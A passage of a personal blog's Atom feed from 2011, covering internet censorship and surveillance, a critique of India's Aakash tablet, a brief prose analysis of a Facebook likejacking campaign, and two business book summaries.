<a href="https://www.politico.com/news/stories/1211/70554.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">threatens</a> the existence of the Internet as we see it today.</p>
<p><em>Incident 2:</em> An English national, who is running a travel agency in Spain, had his websites taken   
    
    
<a href="https://www.nytimes.com/2008/03/04/us/04bar.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">down</a> by his American registrar after receiving a notice from the American government that his sites were helping Americans evade travel restrictions to Cuba.</p>
<p><em>Incident 3</em>: Owner of popular music hosting   
    
    
<a href="https://dajaz1.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">domain</a> had his site seized for over a year (even though seizure legally are restricted to 60 days) for intellectual property infringement till US government ultimately   
    
    
<a href="https://www.techdirt.com/articles/20111208/08225217010/breaking-news-feds-falsely-censor-popular-blog-over-year-deny-all-due-process-hide-all-details.shtml?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">realized</a> that music was being released on the site by the actual copyright holders.</p>
<p><em>Incident 4:</em> Indian Parliament   
    
    
<a href="https://www.dnaindia.com/india/analysis_get-the-govt-to-review-new-it-rules_1556042?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">considers</a> a new Information Technology Act was calling for a ban on the uploading of blasphemous and controversial content.</p>
<p><em>Incident 5:</em> Fearing civilian uprising and with the aim of creating a <em>halal</em> network, Iran is   
    
    
<a href="https://online.wsj.com/article/SB10001424052748704889404576277391449002016.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">working</a> towards creating a national network disconnected from the Internet. The efforts look credible since they are working on in-house hardware (network gears) as well as software (search engine).</p>
<h2 id="surveillance">Surveillance</h2>
<p>More and more governments are opting for digital surveillance sometimes by framing laws, sometimes in a more blatant illegal fashion.</p>
<p><em>Incident:</em> Multiple attempts were made in Iran for getting fake certificates for major websites (primarily to do man-in-the-middle attack on dissidents), first on 15th March 2011, an Iranian   
    
    
<a href="https://pastebin.com/74KXCaEZ?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">patriot</a>   
    
    
<a href="https://www.comodo.com/Comodo-Fraud-Incident-2011-03-23.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">compromised</a> a Registration Authority of Comodo, which is a root Certificate Authority(CA) to issue fake certificates for major sites (which were revoked quickly), two months later, Dutch CA DigiNotar was breached and fake certificates were issued which were used for ~ 2 months before   
    
    
<a href="https://googleonlinesecurity.blogspot.com/2011/08/update-on-attempted-man-in-middle.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">revocation</a>.</p>
<p>Several   
    
    
<a href="https://citizenlab.org/2011/11/behind-blue-coat/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">companies</a> in the USA have   
    
    
<a href="https://www.washingtonpost.com/world/national-security/trade-in-surveillance-technology-raises-worries/2011/11/22/gIQAFFZOGO_story.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">engaged</a> in   
    
    
<a href="https://online.wsj.com/article/SB10001424052970203611404577044192607407780.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">selling</a>   
    
    
<a href="https://arstechnica.com/business/news/2011/12/wikileaks-docs-reveal-that-governments-use-malware-for-surveillance.ars?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">technology</a> to oppressive regimes in Syria, Myanmar, China, etc. for cyber surveillance of citizens. But let&rsquo;s not forget, the Internet was not primarily designed with national boundaries in mind, therefore, it&rsquo;s not uncommon for these countries to spy on traffic of neighboring countries flowing through them (un)intentionally, as it happened in case of Pakistan&rsquo;s   
    
    
<a href="https://www.inewsindia.com/2008/02/28/pakistan%E2%80%99s-youtube-ban-and-its-worldwide-impact/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">block</a> of YouTube which went much beyond its national boundaries or when a big chunk of international   
    
    
<a href="https://web.archive.org/web/20111022031907/https://www.nationaldefensemagazine.org/blog/Lists/Posts/Post.aspx?ID=249&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">traffic</a> went through China due to misconfiguration at the end of China Telecom.</p>
<p>Fearing the   
    
    
<a href="https://www.wired.com/cloudline/2011/12/us-cloud/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">dangers</a> of spying, USA government does not want its data to be located in data centers outside the USA, the same law has been enacted by Europe and we should expect other governments to follow soon (if they ever purchase cloud storage).</p>
<h2 id="privacy">Privacy</h2>
<p>Privacy on the internet was not a major issue till user-generated content (or more specifically social networks) became mainstream. Controlled primarily from the United States, they fumbled several times in Europe. Following are a few notable incidents -</p>
<p><em>Incident  1:</em> A group of students   
    
    
<a href="https://www.pcworld.com/businesscenter/article/149006/google_italy_could_face_criminal_charges_over_video.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">uploads</a> a video showing bullying of a mentally challenged boy on videos sharing site, the Italian court convicts three executives of the company for   
    
    
<a href="https://www.nytimes.com/2010/04/13/business/global/13google.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">privacy</a>   
    
    
<a href="https://www.pcworld.com/article/190119/google_execs_convicted_over_italian_bullying_video.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">violations</a>.</p>
<p><em>Incident 2:</em> A social networking company launches   
    
    
<a href="https://www.theatlanticwire.com/technology/2011/08/germanys-war-facebook/40771/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">face recognition</a> (with opt-out settings) and is fined by the German government for   
    
    
<a href="https://www.zdnet.com/blog/facebook/german-state-to-sue-facebook-over-facial-recognition-feature/5187?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">not</a> making it opt-in.</p>
<p><em>Incident 3:</em> US courts order a microblogging company to supply account data of a Parliamentarian of Iceland, of course, Iceland is not happy about   
    
    
<a href="https://www.guardian.co.uk/world/2011/jan/09/iceland-us-ambassador-twitter-wikileaks?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">this</a>.</p>
<p><em>Incident 4:</em> A search engine company is ordered by French courts to   
    
    
<a href="https://www.telegraph.co.uk/technology/google/8027967/Google-convicted-of-defaming-French-user-by-linking-his-name-to-rape-in-searches.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">remove</a> defamatory contents about an individual (the contents were generated based on the court cases going against him), of course, the cases are still available online.</p>
<p>And the European Union is working on   
    
    
<a href="https://www.theregister.co.uk/2011/11/08/eu_new_data_protection_proposals/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tougher</a> data protection laws for the companies to access its internal market.</p>
<h2 id="protectionism">Protectionism</h2>
<p>As initially mentioned, the Internet today is virtually divided into two halves - China and the rest of the world (RoW). One can see that this not only enables censorship but encourages   
    
    
<a href="https://www.businessinsider.com/social-media-in-china-2011-12?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">protectionism</a>. While RoW has one dominant search engine(   
    
    
<a href="https://www.google.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">google</a>), one dominant social network(   
    
    
<a href="https://www.facebook.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Facebook</a>), one dominant micro-blogging site(   
    
    
<a href="https://www.twitter.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Twitter</a>) and one dominant video-sharing platform(   
    
    
<a href="https://www.youtube.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">YouTube</a>), most of these are either banned in China or have a very small market share.   
    
    
<a href="https://www.baidu.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Baidu</a> is the search engine,   
    
    
<a href="https://www.renren.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Renren</a> is the social network, Youku being video-uploading and   
    
    
<a href="https://www.weibo.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Weibo</a> being micro-blogging site. While protectionist policies usually don&rsquo;t work in the long run, they do give immediate short-term gains and necessary protection to local companies. And this might encourage EU or Arab-world to follow this route.</p>
<p>While The current tussle is primarily between the USA and Europe (and in some cases USA and China), going by   
    
    
<a href="https://www.internetworldstats.com/stats.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">demographic trends</a> and rate of   
    
    
<a href="https://en.wikipedia.org/wiki/List_of_Internet_users_by_country?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Internet adoption</a>, it is easy to see that in the near future, we are going to have two more major players namely Middle East (with technical know-how supplied by Iran) and India. The clash among these five major players over above issues will certainly threaten the existence of the unified Internet as we see today and lest the above issues are resolved, we are going to end up with a form of the Internet much different from what we currently have.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/https" term="https" label="https"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">Questioning Aakash - Indian Government tablet initiative</title><link href="https://ashishb.net/tech/a-fundamental-problem-with-aakash-indian-government-tablet-initiative/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/towards-a-broken-future-of-internet/?utm_source=atom_feed" rel="related" type="text/html" title="Towards a broken future of Internet"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="related" type="text/html" title="How Indian Government deals with Technology"/><link href="https://ashishb.net/politics/understanding-corruption-a-talk-by-subramanian-swamy/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding Corruption: A talk by Subramanian Swamy"/><link href="https://ashishb.net/book-summary/india-unbound/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: India Unbound by Gurcharan Das"/><id>https://ashishb.net/tech/a-fundamental-problem-with-aakash-indian-government-tablet-initiative/</id><author><name>Ashish Bhatia</name></author><published>2011-12-10T11:53:36+00:00</published><updated>2011-12-10T11:53:36+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why tablets lag behind laptops for content generation. Explore key insights, user studies, and the limitations of tablet usability in this revealing blog post.</blockquote><p>This blog post is not about how good or bad the product technically is or how indigenous it is; it&rsquo;s about a fundamental problem with tablets. It amazes me to see that even a journalist like T. Friedman   
    
    
<a href="https://www.nytimes.com/2011/11/13/opinion/sunday/friedman-the-last-person.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">missed</a> it. Anyone who had ever used a tablet will tell you that even the   
    
    
<a href="https://www.apple.com/ipad/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">best</a>   
    
    
<a href="https://www.samsung.com/us/mobile/galaxy-tab?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">of</a> the current-generation tablets are for <strong>consumption</strong> and not content generation.</p>
<p><strong>A bit of history</strong>
I wrote about this   
    
    
<a href="https://en.wikipedia.org/wiki/Aakash_%28tablet%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tablet</a> in 
<a href="/tech/how-indian-govt-deals-with-technology/">2010</a>. This was before it was named Aakash. Few things have changed since then, they have dropped the name of IIT Kanpur, it is now much clear that the tablet is being made by a Canadian company   
    
    
<a href="https://datawind.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Datawind</a> Technologies and the earlier claim about IIT Kanpur&rsquo;s involvement is not true. So, the tablet is probably as indigenous as Vijay Mallya&rsquo;s Formula One   
    
    
<a href="https://the-south-asian.com/Oct-Dec2011/Force-India-F1Team.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">team</a>. Also, the actual price is now 50$ instead of 35$ as claimed earlier. The reviews have been mixed (   
    
    
<a href="https://venturebeat.com/2011/10/26/aakash-android-tablet-exclusive/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Vivek Wadhwa</a>) to negative (IIT    
    
    
<a href="https://www.thestatesman.net/index.php?option=com_content&amp;view=article&amp;id=386755&amp;catid=35&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">students</a>). Its also pointed out that ability to install and hence experiment new apps is not present on the device. Some people have pointed out that it&rsquo;s not the government&rsquo;s business to   
    
    
<a href="https://www.deeshaa.org/2011/10/08/aakash-blue-skies-vaporware/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">subsidize</a> electronics but I think that&rsquo;s OK since the Indian government anyways loses money on running airlines, hotels and a mobile company.</p>
<p><strong>Tablets are for fun, laptop for work</strong> A user   
    
    
<a href="https://googlemobileads.blogspot.com/2011/11/consumers-on-tablet-devices-having-fun.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">study</a> by Google clearly points this out <strong>&ldquo;Tablets are for fun, laptop for work&rdquo;</strong> in which top activities reported were email checking, playing games and social networking.</p>
<p>There is a fundamental reason for this behavior; tablet keyboards have limited usability even more so on a 7&quot; screen. Imagine you are watching one of the Khan Academy&rsquo;s videos and wish to take notes, or wants to search for more info about a topic he mentioned, while this flow would be extremely smooth on a laptop, its painful (even on an expensive tablet like iPad). The much-touted (but resistive) touch screen is also probably the cause of short battery life (&lt; 2 hours).</p>
<p>I believe that Kapil Sibal or the IIT Rajasthan team would have uncovered this fundamental problem had they decide to give it a proper field testing (like   
    
    
<a href="https://berkeleyolpc.wordpress.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">students</a> gave to OLPC)</p>
<p><strong>OLPC XO Laptop</strong> While I personally never got chance to use OLPC   
    
    
<a href="https://one.laptop.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">XO</a> laptop, the reason I would rate it higher is that it has a backing of a   
    
    
<a href="https://wiki.laptop.org/go/The_OLPC_Wiki?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">community</a> committed to improving it and a keyboard (which kids can use to   
    
    
<a href="https://callej.org/journal/11-1/madden.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">generate</a> content).  As OLPC India head Satish Jha   
    
    
<a href="https://www.bgr.in/news/olpc-india-head-disappointed-with-govts-35-tablet/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">said</a>: &quot; <em>The $35 device meets the expectation of somebody who wants to manufacture the device but not the needs of the users</em>&quot;.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/aakash" term="aakash" label="aakash"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">Preliminary analysis of Facebook Click jacking Attack "Chica Sexy"</title><link href="https://ashishb.net/security/facebook-click-jacking-chica-sexy/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/facebook-rotating-images-worm/?utm_source=atom_feed" rel="related" type="text/html" title="Analysis of Facebook Rotating Images worm"/><link href="https://ashishb.net/security/facebook-clickjacking-aprilfoolsprank/?utm_source=atom_feed" rel="related" type="text/html" title="Preliminary analysis of Facebook clickjacking - aprilfoolsprank"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><link href="https://ashishb.net/security/cyber-security-in-india-role-of-cert-in/?utm_source=atom_feed" rel="related" type="text/html" title="Cyber Security in India : Role of CERT-In"/><id>https://ashishb.net/security/facebook-click-jacking-chica-sexy/</id><author><name>Ashish Bhatia</name></author><published>2011-11-01T09:58:48+00:00</published><updated>2011-11-01T09:58:48+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the sneaky world of clickjacking: learn about deceptive links and how to protect your Facebook experience from spammy tactics. Stay informed and safe!</blockquote><p>Came across a few interesting posts like this on my wall today.</p>
<p>All posts pointed to links of the form &ldquo;  
    
    
<a href="https://dalefrases.com/chicasexy/ver-?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://dalefrases.com/chicasexy/ver-</a> <em>RANDOM-DIGITS</em>.html&rdquo;</p>
<p>The page   
    
    
<a href="https://i.imgur.com/b77H1.png?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">appears</a> to be a naive &ldquo;spammy&rdquo; video page but has three like buttons hidden   
    
    
<a href="https://i.imgur.com/J6tJl.png?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">underneath</a> the video by setting their opacity to zero.
It should be noted that it is   
    
    
<a href="https://theharmonyguy.com/2010/03/13/facebook-adds-code-for-clickjacking-prevention/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tough if not impossible</a> to prevent a clickjacking attack for the &ldquo;like&rdquo; button [unlike in case of the &ldquo;share&rdquo; button where a user is first redirected to Facebook].</p>
<p>But the interesting aspect about this attack is that the prankster (or spammer?) probably understood that Facebook is monitoring viral URLs and <strong>any spammy viral URL will get caught</strong>, therefore, the prankster decided to generate URL patterns instead of URLs and as of now, it seems that the technique has worked for him/her.</p>
<p>Note: If this post appears on your wall, don&rsquo;t panic and just delete it, this is just a clickjacking/like-jacking, the prankster won&rsquo;t get your account credentials/any other information from your account.</p>
<p><em>This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.</em></p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/clickjacking" term="clickjacking" label="clickjacking"/><category scheme="https://ashishb.net/tag/facebook" term="facebook" label="facebook"/><category scheme="https://ashishb.net/tag/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/social-networking" term="social-networking" label="social-networking"/><category scheme="https://ashishb.net/tag/worm" term="worm" label="worm"/></entry><entry><title type="html">Summary: The 7 Habits of Highly Effective People</title><link href="https://ashishb.net/book-summary/the-7-habits-of-highly-effective-people/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/build-to-last-successful-habit-of-visionary-companies/?utm_source=atom_feed" rel="related" type="text/html" title="Summary: Built to Last (Successful habit of visionary companies)"/><link href="https://ashishb.net/book-summary/india-unbound/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: India Unbound by Gurcharan Das"/><link href="https://ashishb.net/book-summary/difficulty-of-being-good-subtle-art-of-dharma/?utm_source=atom_feed" rel="related" type="text/html" title='Summary: "Difficulty of being good: Subtle art of Dharma"'/><link href="https://ashishb.net/misc/career-destination-of-iitians-usa-vs-india/?utm_source=atom_feed" rel="related" type="text/html" title="Career Destination of IITians: USA vs India"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><id>https://ashishb.net/book-summary/the-7-habits-of-highly-effective-people/</id><author><name>Ashish Bhatia</name></author><published>2011-10-09T03:57:37+00:00</published><updated>2011-10-09T03:57:37+00:00</updated><content type="html"><![CDATA[<blockquote>Discover transformative habits from the inside out with insights on character ethic vs. personality ethic, focusing on proactive influence and paradigm shifts for success.</blockquote><p>The   
    
    
<a href="https://amzn.to/2KcJPvI?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> talks about a set of habits which differentiates successful people from the normal. It criticizes [recently popular] personality ethic which it terms as deceptive and manipulative and calls for character ethic which is a fundamental change in human character. This change must begin from inside and spreads out [inside-out] and the reverse is not possible.</p>
<p>The book is divided into three parts</p>
<ol>
<li>Private Victory
<ul>
<li>Be Proactive
focus on where you can do something. that is, focus on the circle of influence instead of the circle of concern</li>
<li>Begin with the end in mind
while starting something thinking about what to do after it attained
(The book also talks about how most people are centered around someone/something like spouse-centered, money-centered, job-centered and suggests that being principle-centered in the highest form)</li>
<li>Put first things first
Successful people don&rsquo;t do what they like to do but what they have to do.
The author divides all our activities into four quadrants [important and urgent, important but not urgent, urgent but not important and neither urgent nor important]. He points out that most people focus on urgent things, we should instead focus on important things]</li>
</ul>
</li>
<li>Public Victory
<ul>
<li>Think Win/Win
Integrity
Maturity
Go away with scarcity syndrome [accept abundance mentality]
stop thinking to win/lose</li>
<li>Seek first to understand and then to be understood
try doing empathic listening</li>
<li>Synergize
Admire people different than you and try to understand how differences can help you both.</li>
</ul>
</li>
<li>Renewal
<ul>
<li>Sharpen the saw
four dimensions of renewal - physical, mental, social/emotional, spiritual
keep learning new skills</li>
</ul>
</li>
</ol>
<p>The book aims at providing primary skills [paradigm shift] in thinking instead of secondary skills [personality ethic].</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Summary: Built to Last (Successful habit of visionary companies)</title><link href="https://ashishb.net/book-summary/build-to-last-successful-habit-of-visionary-companies/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-7-habits-of-highly-effective-people/?utm_source=atom_feed" rel="related" type="text/html" title="Summary: The 7 Habits of Highly Effective People"/><link href="https://ashishb.net/book-summary/india-unbound/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: India Unbound by Gurcharan Das"/><link href="https://ashishb.net/book-summary/difficulty-of-being-good-subtle-art-of-dharma/?utm_source=atom_feed" rel="related" type="text/html" title='Summary: "Difficulty of being good: Subtle art of Dharma"'/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><id>https://ashishb.net/book-summary/build-to-last-successful-habit-of-visionary-companies/</id><author><name>Ashish Bhatia</name></author><published>2011-09-10T04:59:08+00:00</published><updated>2011-09-10T04:59:08+00:00</updated><content type="html"><![CDATA[<blockquote>Debunk myths about visionary companies and uncover their enduring success traits. Discover key insights that defy conventional wisdom and propel growth.</blockquote><p>The   
    
    
<a href="https://amzn.to/24HWlau?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> compares a set of 17 companies that are considered visionary with similar 17 companies of lesser stature. I am avoiding gory details of their methodology here. To derive theory from practice, the book aims at debunking common myths about visionary companies.</p>
<h2 id="myths">Myths</h2>
<ol>
<li>It takes a great idea to start a company.
Fact: A lot of visionary companies like Sony and HP had no idea what to do even after months of starting. [at Sony employees use to have meetings to decide what can be done]. Similarly, 3M suffered pretty badly since its initial idea never worked out.</li>
<li>Visionary companies require great and charismatic visionary leaders.
Fact: They have clock-builders instead of time-tellers as CEOs who [instead of keeping full control of the company] aim for developing a culture that lasts even after their departure.</li>
<li>The most successful companies exist first and foremost to maximize profits.
Fact: They seek profit but are guided by core ideology [a set of core values and sense of purpose]</li>
<li>Visionary companies share a common subset of &ldquo;correct&rdquo; core values.
Fact: There is no &ldquo;right&rdquo; set of core values. What&rsquo;s important is the set of values but how deeply employees believe in it.
Even companies like Philip Morris, the maker of Marlboro, are visionary because its employees believe in its ideology of giving full choice to the customer.</li>
<li>The only constant is the change
Fact: They religiously preserve their core while stimulating progress by allowing everything outside to change.</li>
<li>Blue chip companies play it safe.
Fact: They pursue BHAG [Big Hairy Audacious Goals] like the Boeing 747. As soon as one BHAG is attained, they start aiming for the next one.</li>
<li>Visionary companies are a great place to work for everyone.
Fact: Only those who fit well in the core ideology and demanding standards can survive and flourish, others are ejected out. They are more like cults whether a person fits in or not. They allow mistakes that do not breach core ideology but severely punish employees for breaching ideology. Apart from sticking to ideology, employees are given high autonomy to work.</li>
<li>Visionary companies make their best moves through brilliant and complex strategic planning.
Fact: They make their move by trial and error, they try a lot of things and keep what works. They follow evolution as opposed to creationism.
Example: Post-It notes from 3M.</li>
<li>Companies should hire outside CEOs to simulate fundamental change.
Fact: Visionary companies rarely hire outside CEOs. Homegrown management is the norm. Their CEOs being clock-builder, continuously nourish managers and prepare them for leading the company.</li>
<li>The most successful visionary companies focus primarily on beating the competition.
Fact: They set them on BHAGs and try to achieve them. They primarily focus on beating themselves.</li>
<li>You can&rsquo;t have your cake and eat it too.
Fact: They reject choices like stability or growth, conservative policies vs BHAG, they pursue a strategy of &ldquo;AND&rdquo; and try to attain paradoxical views at the same time.</li>
<li>Companies become visionary primarily through &ldquo;vision statements&rdquo;.
Fact: Creating visionary statements is helpful as a step but it should not be seen as the end goal. A set of core values that employees believe in, the core purpose for which the company stands for, a vision for the future that the company wishes to attain, and &ldquo;vivid&rdquo; BHAG.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Random thoughts: goals and company types in tech world</title><link href="https://ashishb.net/tech/random-thoughts-goals-and-company-types-in-tech-world/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/tech/fundraising-rounds-then-and-now/?utm_source=atom_feed" rel="related" type="text/html" title="Fundraising rounds then and now"/><link href="https://ashishb.net/tech/startup-founders-how-not-to-write-an-email/?utm_source=atom_feed" rel="related" type="text/html" title="Startup founders: How not to write an email"/><link href="https://ashishb.net/tech/towards-a-broken-future-of-internet/?utm_source=atom_feed" rel="related" type="text/html" title="Towards a broken future of Internet"/><link href="https://ashishb.net/tech/a-fundamental-problem-with-aakash-indian-government-tablet-initiative/?utm_source=atom_feed" rel="related" type="text/html" title="Questioning Aakash - Indian Government tablet initiative"/><id>https://ashishb.net/tech/random-thoughts-goals-and-company-types-in-tech-world/</id><author><name>Ashish Bhatia</name></author><published>2011-08-27T06:43:22+00:00</published><updated>2011-08-27T06:43:22+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the dynamics of start-ups, diversified, and diworsified companies, and understand how product goals influence team synergy and company success.</blockquote><p><strong>Start-up</strong> <em>One goal</em></p>
<p>May have multiple products but all products are aimed at a single goal.
All teams are working towards the same goal.</p>
<p><strong>Diversified</strong> <em>Multiple similar goals</em>
Have several products (or several parts of a single product) aimed towards different goals.
Teams gain by helping each other.
The goals to some extent are complementary but (naturally with time) diverge away from each other.
The tipping point comes when the goals become orthogonal and thus, any bonding between teams working on (orthogonal) goals goes to zero.</p>
<p><strong>Diworsified(*)</strong> <em>Multiple conflicting goals</em></p>
<p>Multiple products, the success of one will kill the market for the other.
Teams gain at the expense of other teams, conflicts are high.
Interestingly, the most influential people in the company control revenue-generating goals (whose best days were in the past) and they prevent the company from focusing on goals aimed at smaller but fast-growing areas.</p>
<p><strong>\</strong>*- word courtesy Peter Lynch</p>
<p><em>Note: Opinions expressed here are personal views.</em></p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/startups" term="startups" label="startups"/></entry><entry><title type="html">Understanding Corruption: A talk by Subramanian Swamy</title><link href="https://ashishb.net/politics/understanding-corruption-a-talk-by-subramanian-swamy/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/politics/thoughts-on-bureaucrats-technocrats-and-politicians/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Bureaucrats, Technocrats and Politicians"/><link href="https://ashishb.net/politics/beyond-numbers-dealing-with-terrorism/?utm_source=atom_feed" rel="related" type="text/html" title="Beyond Numbers: Dealing with terrorism in India"/><link href="https://ashishb.net/tech/towards-a-broken-future-of-internet/?utm_source=atom_feed" rel="related" type="text/html" title="Towards a broken future of Internet"/><link href="https://ashishb.net/tech/a-fundamental-problem-with-aakash-indian-government-tablet-initiative/?utm_source=atom_feed" rel="related" type="text/html" title="Questioning Aakash - Indian Government tablet initiative"/><link href="https://ashishb.net/book-summary/india-unbound/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: India Unbound by Gurcharan 